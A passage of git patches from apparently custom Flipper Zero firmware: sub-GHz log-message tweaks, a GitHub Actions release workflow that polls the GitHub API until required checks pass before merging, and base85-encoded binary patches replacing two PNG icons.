FURI_LOG_D(TAG, "Radio check failed"); + FURI_LOG_D(TAG, "Radio check failed, revert to default"); result = false; } @@ -182,7 +182,7 @@ bool furi_hal_subghz_init_check(void) { if(result) { FURI_LOG_I(TAG, "Init OK"); } else { - FURI_LOG_E(TAG, "Failed to initialization"); + FURI_LOG_E(TAG, "Selected CC1101 module init failed, revert to default"); } return result; } From 86766661eb88d19c045324ad8303f4766f5755f0 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 26 Mar 2023 17:44:05 +0100 Subject: [PATCH 275/329] Fix release script merge delay --- .github/workflows/release.yml | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1d79b5077..ab71b2897 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -74,11 +74,44 @@ jobs: - name: "Commit new version number" uses: EndBug/add-and-commit@v9 + id: commit with: default_author: github_actions message: Update version number add: 'fbt_options.py scripts/version.py' + - name: "Wait for checks to pass" + run: | + ${{ steps.commit.outputs.pushed }} + sha="${{ steps.commit.outputs.commit_long_sha }}" + + while [ "$new" != "$sha" ]; do + sleep 1 + new="$(curl -s https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/pulls/${{ github.event.pull_request.number }} | jq -r ".head.sha")" + done + + checks="$(curl -s https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/branches/main | jq -r ".protection.required_status_checks.contexts[]")" + for check in $checks; do + found=false + while ! $found; do + sleep 1 + suites="$(curl -s https://api.github.com/repos/${{ github.event.pull_request.head.repo.full_name }}/commits/$sha/check-suites | jq -r ".check_suites[].check_runs_url")" + for suite in $suites; do + completed=false + while ! $completed; do + sleep 1 + run="$(curl -s $suite | jq -r '.check_runs[] | select(.name == "$check")')" + [ "$run" != "" ] || continue 2 + found=true + [ "$(echo "$run" | jq -r ".status")" = "completed" ] || continue + completed=true + [ "$(echo "$run" | jq -r ".conclusion")" = "success" ] + done + done + done + done + + - name: "Merge pull request" uses: "pascalgn/automerge-action@v0.15.6" env: From acd6e6c31dc7150de4a1fff00e85222933eaeb14 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 26 Mar 2023 17:56:55 +0100 Subject: [PATCH 276/329] Fix quotes and vars in release script --- .github/workflows/release.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ab71b2897..ef4885519 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -87,20 +87,20 @@ jobs: while [ "$new" != "$sha" ]; do sleep 1 - new="$(curl -s https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/pulls/${{ github.event.pull_request.number }} | jq -r ".head.sha")" + new="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/pulls/${{ github.event.pull_request.number }}" | jq -r ".head.sha")" done - checks="$(curl -s https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/branches/main | jq -r ".protection.required_status_checks.contexts[]")" + checks="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/branches/main" | jq -r ".protection.required_status_checks.contexts[]")" for check in $checks; do found=false while ! $found; do sleep 1 - suites="$(curl -s https://api.github.com/repos/${{ github.event.pull_request.head.repo.full_name }}/commits/$sha/check-suites | jq -r ".check_suites[].check_runs_url")" + suites="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.head.repo.full_name }}/commits/${sha}/check-suites" | jq -r ".check_suites[].check_runs_url")" for suite in $suites; do completed=false while ! $completed; do sleep 1 - run="$(curl -s $suite | jq -r '.check_runs[] | select(.name == "$check")')" + run="$(curl -s "$suite" | jq -r '.check_runs[] | select(.name == "${check}")')" [ "$run" != "" ] || continue 2 found=true [ "$(echo "$run" | jq -r ".status")" = "completed" ] || continue From 376b569728f0547343eab09b76666aa2c9b16867 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 26 Mar 2023 18:39:00 +0100 Subject: [PATCH 277/329] Logging in release script delay + misc fixes --- .github/workflows/release.yml | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index ef4885519..ad82c559f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -82,30 +82,44 @@ jobs: - name: "Wait for checks to pass" run: | - ${{ steps.commit.outputs.pushed }} - sha="${{ steps.commit.outputs.commit_long_sha }}" + pushed=${{ steps.commit.outputs.pushed }} + echo "Commit was pushed: ${pushed}" + $pushed + sha="${{ steps.commit.outputs.commit_long_sha }}" + echo "Pushed commit sha: ${sha}" + + echo "Waiting for PR head to sync" while [ "$new" != "$sha" ]; do sleep 1 new="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/pulls/${{ github.event.pull_request.number }}" | jq -r ".head.sha")" + echo "New PR head sha: ${new}" done + echo "PR synced" - checks="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/branches/main" | jq -r ".protection.required_status_checks.contexts[]")" + echo "Finding required status checks" + checks="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.base.repo.full_name }}/branches/${{ github.event.pull_request.base.ref }}" | jq -r ".protection.required_status_checks.contexts[]")" for check in $checks; do + echo "Started waiting for check: ${check}" found=false while ! $found; do sleep 1 - suites="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.head.repo.full_name }}/commits/${sha}/check-suites" | jq -r ".check_suites[].check_runs_url")" + echo "Querying check suites" + suites="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.head.repo.full_name }}/commits/${sha}/check-suites" | jq -r ".check_suites[].id")" for suite in $suites; do completed=false while ! $completed; do sleep 1 - run="$(curl -s "$suite" | jq -r '.check_runs[] | select(.name == "${check}")')" - [ "$run" != "" ] || continue 2 + echo "Querying check suite: ${suite}" + run="$(curl -s "https://api.github.com/repos/${{ github.event.pull_request.head.repo.full_name }}/check-suites/${suite}/check-runs" | jq -r '.check_runs[] | select(.name == "${check}")')" + [ "$run" != "" ] || (echo "Check suite ${suite} does not match check: ${check}" && continue 2) found=true - [ "$(echo "$run" | jq -r ".status")" = "completed" ] || continue + [ "$(echo "$run" | jq -r ".status")" = "completed" ] || (echo "Check suite ${suite} not complete yet" && sleep 10 && continue) completed=true - [ "$(echo "$run" | jq -r ".conclusion")" = "success" ] + echo "Check suite ${suite} completed" + [ "$(echo "$run" | jq -r ".conclusion")" = "success" ] || (echo "Check failed: ${check}" && false) + echo "Check passed: ${check}" + continue 3 done done done @@ -129,4 +143,4 @@ jobs: dist/${{ env.RELEASE_TAG }}.zip name: "${{ env.RELEASE_TAG }}" tag_name: "${{ env.RELEASE_TAG }}" - target_commitish: main + target_commitish: ${{ github.event.pull_request.base.ref }} From c7aa376af809446cec91f1e3a08312767f7b9b9d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 27 Mar 2023 01:22:59 +0100 Subject: [PATCH 278/329] Fix NSFW subghz read icon (#179) --- .../NSFW/Icons/SubGhz/Fishing_123x52.png | Bin 4092 -> 9527 bytes .../NSFW/Icons/SubGhz/Scanning_123x52.png | Bin 4092 -> 9527 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/assets/dolphin/custom/NSFW/Icons/SubGhz/Fishing_123x52.png b/assets/dolphin/custom/NSFW/Icons/SubGhz/Fishing_123x52.png index a48c5330e85c2135866fe99bcb6f3534d06c6d53..4776f14451c1aeb2e9e3be1e44e55e86f60289b8 100644 GIT binary patch literal 9527 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 literal 4092 zcmVpUu1Q2eRCwC$oOf8we;db-?5!fBv?wwXiiGSEaoL+lneo_}C8Mm2 z@Fd%1ZzVgGy&{#Ql$8~aJ+q$Y^*f)R^PKCPqfT*Mk8?ctA6?%)-uL_SzTfxve81_q zySon>G|1cAJ1{Vi=_N~+ERYL#X-uC!y=&L5vu4ejKYu>cE-o&6_wJ2|h+yOW`}dC- zGlnG>FJ6p_irT(?`|R1X`}OPBq)8JNhJ}S~-n_X{qeiV-wc4^}%kbgD-Q3(}%$PBL z{P>wOXZG*k-^(;Hz+S}W=XwiZl9UUG0{QUl{y`f`ZVDS0#=U1;@efaR9YSpUo z@$pPcBoZARov&ZNRpd8GU{I`}gk`DN^Lkn>WeH$?Q_BSh2fz?>>0&AYZqGc%LB)zj0fQl$#`K6>=%?c2Ak1~p@2 zW0t>r_wM=g=c%cwWWveG>E_LwKm*W8Nl9P6d@(UGA#M5d=LgMa&z{}8caIFQWm;Mq z3&|Pz07q7F9L`msKmj8oqe6uWaV`$~@#DwRrAv3})QR26addPvJ8CWB@87>?AanCC zU%tG4{W{Q8s8Hec>(`(FG*A^->(#3Vuc0JqXxXwQc(IBlY=8CYRk#m@mn~Zs92`7v z-aLfG*4Eb2(z1E;=46FkiWV)((Lk0RVLFU1T)6Plr%%ZW=Orban!iX2xzW|tWhgL! zv=(tx1w_zL?io;ES>3vI&CJZ8JWId`bPxf!$<~bhqeqXfS+i!&oH;%|J_ipTBsc7J z`t<2@=gu8Id^j#Hjx%_BZFCy3O@8hA z_3N`ioIwr5+&Qd-Xm#q;VJVy~RjL#eCIPOlt`jFtL}bAoJ~}u!Fx{t5A7^Lh)~#EQ z7%>7tAU6yYFh$eJ4eCr{K;P8V6g^>@%+st$sgOGEp6Jgk)b?c!USt; z>))B<+^lT6XV0FHRer6xxp_8-6AX5+047u$p2Aa; zudi>14jo7jE`HjyX}Fh4l`27AHlQT1akFO4>esIy5)y(%;S>N(3gI#dM%mebV=_2! zlSmK>u0cX9+_NmW1^HPxlnvr#%a&!MvuDo&2SCG90X;?n$Yk50Ej4S_q@CdekQDue zm@u7HET{c}s-&%U?b@IWPibmsa9E2jVN0MbgFv_x4-XGdPfu2%DkOuG3Q5tF03Z2T z2qZs?08rSJwTSo|akLnG0UEqeUZ6x+5doA}zJg(s@i1-MwxtCHVmM2NM0$ne7MaHp zLUtqqhtBMY6DRQI0J?nnaxw(;ojZ3HgGL1M1@0)71|d#sEk8S8zyOMtnC4Eg9%z8V zE~4A~8*#XaT>~;E01@DrW(nm~<@xB>IpUEcN9gzk$~Z#yWdfn^*s-Jh#sG@{6Bx>Yv4Y11YMDpPinf!Jc|@_Y|QyrQZ=G2n-% zs4At5Y2hLe^gVm_{OGKdO|%77p){jNj1n6g8+szFi2P<`j^(gk`3RstZrnIKJ3DHC z2EmQX;xBet%u>2=3Lp-*#1gCvEz9N0m(QO+f8fA@!Gi}YA`aJ3Qpy?$VMI_xfsgve z64W`1b00f)435(Zaa_`a5OwX^Rbd<4j$pdVBT#sU3>l(X1V<$K+r4{tG0T`{1k;P4 zx3b$r2Dmkhm%h2P1H8jsFjfjYdY_DL$ zh7D*@ty;BIuBBiy60cpmrZtGubD|hnKn2j@zMGqya4({4`uqEW^~I~YU?COsz` z(f&YlW`Q2&;zQKDj_upGt6WY)MCVB*(Wa+SR7GXbgMxwr0s??OO&VAON~j9N5pEzh zHZ}%jv>3ku?$|__4pPwk=daJv(UEk@n<{Muoj_j9rSYRC<1bY~L+CuwZqOHvK1)EH zhKPkfBCq;E$B*@njEszliP1{X@q3sSW$UdPaU3NC1X=V1HAj&R3=E()1`%%$-+ze& zLj;cI>+7q&Olb<}_%YatL&xc&7IfXRhq_5gNy1pkoRS4#u=8&?eARQ&TTpx-@InELsy-McXOLCYh*Kt(tOAqeI__LBzvT zCxwDjGvWK!uV3-w*li}VXg+fkUAlB3yB;1MG`AA%iYZg3czb(`-ymfH+`W7ERzw`( zrbhy3{xS`y?en4GqP!V2;AyUudZ9?d`+E!?S&ktgZ1E;^2#cV+f$*Op7-ugiU<-@FA2( zc8(uE{!7kBUg>Gkt0zyM{JDrrqz`tXIW0S;0;2-r@LFGAAHI`@k|j%uXHq{INEQuS zVq)T?Ns|z(KN@jZjH$$;oH%g;Tp03jkfvY2gpGmeSwBk5HrSmen2tX%Fi`oK{U3)o z(V#&Ckd2Rz&nFFu^f%DbrAxzZGcz-sOnQ2H?#^-J#*J00R{8k&U^hE=?ks-1{y*Xp z;2u4C^w6P0X;R=gaKC%^j&2o>qbf9_xpOSXjvd3O;x8>NE&crbIKJf14juU!knPl| zQ_Y$+6A}{MN&~Wk6gJVu#s;4bTXTAX!-o&kcMTdeC@3hXcJ11^yULZ)kj>IeEtQ7G zBTfME)TvV`n6y%v(!itxJ-!9jj~zQ!JU3S}l9Q8#7AgGxsb)}PZKUx}Y1n*^kdP26 za70AJ$dMy89&rN6Ubt`}yvDC>kN1O&{TI~Q8Kc=2NO>eU*LIKl9Da&n?0&&bGt;}{ie44MP< zyLRnT|L7JL7Kl&cTRQ8`xqlE*&(d&CKx zoUyTST3QQ)-47vK+_PFl7^ayBeKhvF9)V_<;vysL72C< zH>Y!OaG-vOhXL!?uSZOZNP|vo+qP{I>FY7rC-J_uHXttf{zjd6p+&s6#Z9X7JY@6c z%}_fsGLntK9k%A^nvNVfLV2WwFhpWvVrZRGQc{?{cJ11kGiNYAOe682zjNnKv<0Ep z62!%;atI}=Dn9cOPv7ZFl{fbC@@n`!@D;mv@3ywK_V@Q^eB|hYXp!KoiHQk%Exw=- zk2C3k@los6ty{Ki8D*w?`SNV$?Ci{d&=MV&1!W4vxo2*kJ_r<)f7e*Nc=6e@XCWY_ zqH*KKTefUr+Sk`Nr)6{S;K2}iz<>e6hYv@}{~--53V$b0o-97}s#U92Y-}uMoWhQ2 z(FS*@5H$LzD#9Y3w;-d`E`@DIjT$9hD21VHEMD`>X^^%H7cPLcN|gu<3=9hk<6=nv z-Me=gf8w!^79vgwh1z&?%rEzedS>yn8BC|N%3jOMQEc3}v1QAaKWb_Y9y~}P>DRBH zp`jrKrbCAgq*>b#7cby4c+qZbgZN3v+}vEWMJfaFH8nK_j+|ac^XAPdu(UbyuUgB( z)zy_c+@eJb;BMNqX}x;&rcIls4bN3nR!&M5ejJxV_xSPSN5*m%Z6wwLL#h1Ade+gu zfB!dc-T*6S6u%J4gO12xS16lUl%q$FVuYwD)K6_dT=^?X90;O`E5NHT3)Ar)nVFd? zzqj15VFP2|&(AMM&toy#WQYPVY}hc_Ywfa_F=Iw}csPZD{xdl_`P8XX^qJ^e?i#D# z4sp1wu)0^TUX;pn=gz?|(R?E;ps(_auF%j>DjV)l{nM{ry?XE7y<}+O#EJ4_O9nmG zg;v1b-Mv+-R?r+%Xk}$ZSEcYRh(;pLopb+m(lQYzsFO2i&JtX;d-z`#I0fAVmgv+^D<6yHAfo=ckr7Hlmo8nD%QZo5#P(1*kP&)I zpf@ry!ZIOo?4`M{0_e!Z1g_x$XkqN_?GGI~1Q1M%x0z{bK>zmb+cY3xjj2%iLoe4oyd=hvq!*jQu%aX>&o4ezwnR^S$p{-#Tl3?|-MYHrw;u_jO<6@A_SLkwyku%nUpXG&D5KI@;>S z@Y^3g=-qVi^Vd49xA3dR&(xe^jP*vikzMUbPDBL7*NuoE`jG5sXncB|jZ|2w5KQIs zSCnXR3?Jo-iS0oT$6HQdN=}PmRr%xv9t0}8E`N^SbJm)yb0hIkmS%GOt(8cO+=`qJ zqVP`m`9Xmj2)z*5PmcxjmA?(UN*2~T$a5z*g)NHQJr+-vexy0UL4R=|`du`_WVfBs zcxga;VvDVLT18glD8|{@XYJg;*O}{OF9NabNM^kxRLV9LWw*ObC%6b)tz;yvFeTG|A;W~L6|LB!3TV&>+xH*98!r$;q zFB=)DadW=E+;%SsC!oJfe_%8IOG<5Sd_I$A>`v3$Dqia!q*n&4@+FT=3Wal=SdJPE zh~9Sl>@5rL^cj2&=_XC3{RdswwS4AtOGyiUR#E(I=SoAOzC5`zMVq4V>O+!1+M}a8 zNsQs!W`i{G^|aedPt4rtF6~k>IBS8gkC_ zgG};}dOjpbF>`%A4BpjQ97}M;5ygF+-5~d9XcU!w+_3obL<#~&v?sYJA!o`fkO&e% z33=w2zNEgJ8qtBI?MEh>_!*eu{m$d%2}tGR42nJ&5a3LtU=cpfPA(o8A0_0LTnv1t zK9)ctww6%NDcR9*Z)Jji^p$X0DnmMVBI88;*t{1&Jus#;X%>x0wKRC^dEP4 zm_nsW7!y5QJ;`{Yh8NL=a`4Y02>3ttyLpnGw#*^mC5TQ$XISb1r=tFHq?V4p(H}dg zF0dy#yKU_PXa8j-g=F_HXZ=Mt>YFWd{;UXW|3mIyR{w7M)?!$tua8l8#d}iK(@|GK zQqRW_T=66VX6q~Qn2Zd>LsCo*Eq6=|Eh#G_CNGVb7DGv)@yBH3WKohR=|73maq*yF zUGPMzC=f1A0y%Oh8LX_F9Z^hH5{nZr-eFNY^e{z-%(nFLvh zb^5bbR8a&FC4-iiLCL{hEJ|KR3@wjFi{a$uh+@*R1Sz}}P8uh747DYSfX8UMlAW;- zPLea$o+#nwV!!o*>TryTk&Y5lO8n=kTThIfuoOGkpoG*Txp?~gYpE&8nP@`6QoV_i zk(HN|l|jQ#l#HaD{J$2N5y>8qiBy>=NpWfP)*EVAFklQg7E8@j5U}+eY{96JiCBs& z+0@n5NeM|+072dP$7_8kCjyp&RmW0@AXHLH8Y3x*7?k``_#*kI^{xbx zo$vp(np!*v#h)S9CV9a5zFUueR+I_R{pVjl|8yd4l@bE6RTLO3{-+5ZST7=BOHYvX z^A+9!>tas?^!P1Ze}7K;52=8~5(v`RV|HRP1Q|)lCLCmw6ag(JMMUGUC@B;H`@f}o zxY|*?v1Fo(J@^rP1?jovE5zZgKppw3F5V7AY81d>Vv^Eg|L!n}-wc+ZV#eFK|-Y_hs`pmS$phbr}sinR(a?z}+l?TH&dN*wg z4;mVlD(Z)}#`P`%9`2&(=xgj6-_A?J$x$pE%}+zKcR)v7#nh*FI^EaJqKS(Si4G6Nx7u2{v@$);DeiDM!Z$h*qT9PR&Hy<*YUP&)5VGy;x44 zZIAJ&Gb{hMG>00xw+72)!VP8y^=CBTYf#AznhUU`{~o` zVPQKAZYtK5obP^LOyY1U<&COVwXon85)v{!b0*vPp7~=tW`n$>sVS$cxCcOuCbF0FIUvg0<);@ zFV(|t9~S-E9MIZ=>}Vc+Wjw2zm%qP)Sw3fmftIc=!{Xv%|8rlCl!l!bIwl2=ALq|7 zi0GTXQ&yJx=#kVL9EzKp`|7o8#-~qf=;<+aKR8=8vy7KYom~y6B}j>KG3x8!T7KwC(jg1WgGC$}))7IXudipeHP(>y^hp;4}cF)MjNNqy{zVSLL?9!$7t}abD zm0Xto>=`C8De06*GFnE4otO6{?2$@kDj$f|6aHd9g{=+xR(D9=Z{cuLQ`6yOU15Xt z+Rpql_kR5qH~XQoc8m<+wk+T(?PI>6nLYfz2oEk55fRx1)2Z&yHc=+XN zoJ;>x6>u^#;qs+RbT`t{boBK#@;h;*eW&s}9ZD<}`B`yA`_q~=+f!!U9I|~ExF3R+WRhnv zJm(XyEeL5ej02@1^fzwY*b}L~m+4@f*BbdZTqrV{NzddyLUS-sNP1P(N|9( zF4TRL3Mg(_Q1M#otFHKpn95}8Q7^u{7NB^Ld6nkb%M9paB=-fHU{c-^-l9lJ;A=i6* zdue9Z)*(wF7$*>W&b8iB0UcgfRYC26KP|1S=ouLg%F6D$SounMV~&+e!X{cBS?MGr z?K-H~-qBI9EUh3Ul-n>Pbn@Cm=e{Q{WLBxQ+=7Av5ZT(+7Gf%*k=N1o{{7{SNy5tP z@bmAV^FwDj3>7O6Y_4c^69D%~Ti?i9&UCb=UQTX@1Sm zpYwYW&2x+a9IcL2xo7%_P{)4L@ADBF2rXoON<;PQaK^PAJ#gqi@06E+=@VkZHTT&M zDqu_Zs29y1Cc5&(X|M9h^ns8QH1|w(0ehhICp+@I+4xbou-UWXDIJ4@2Il7b4f0HU 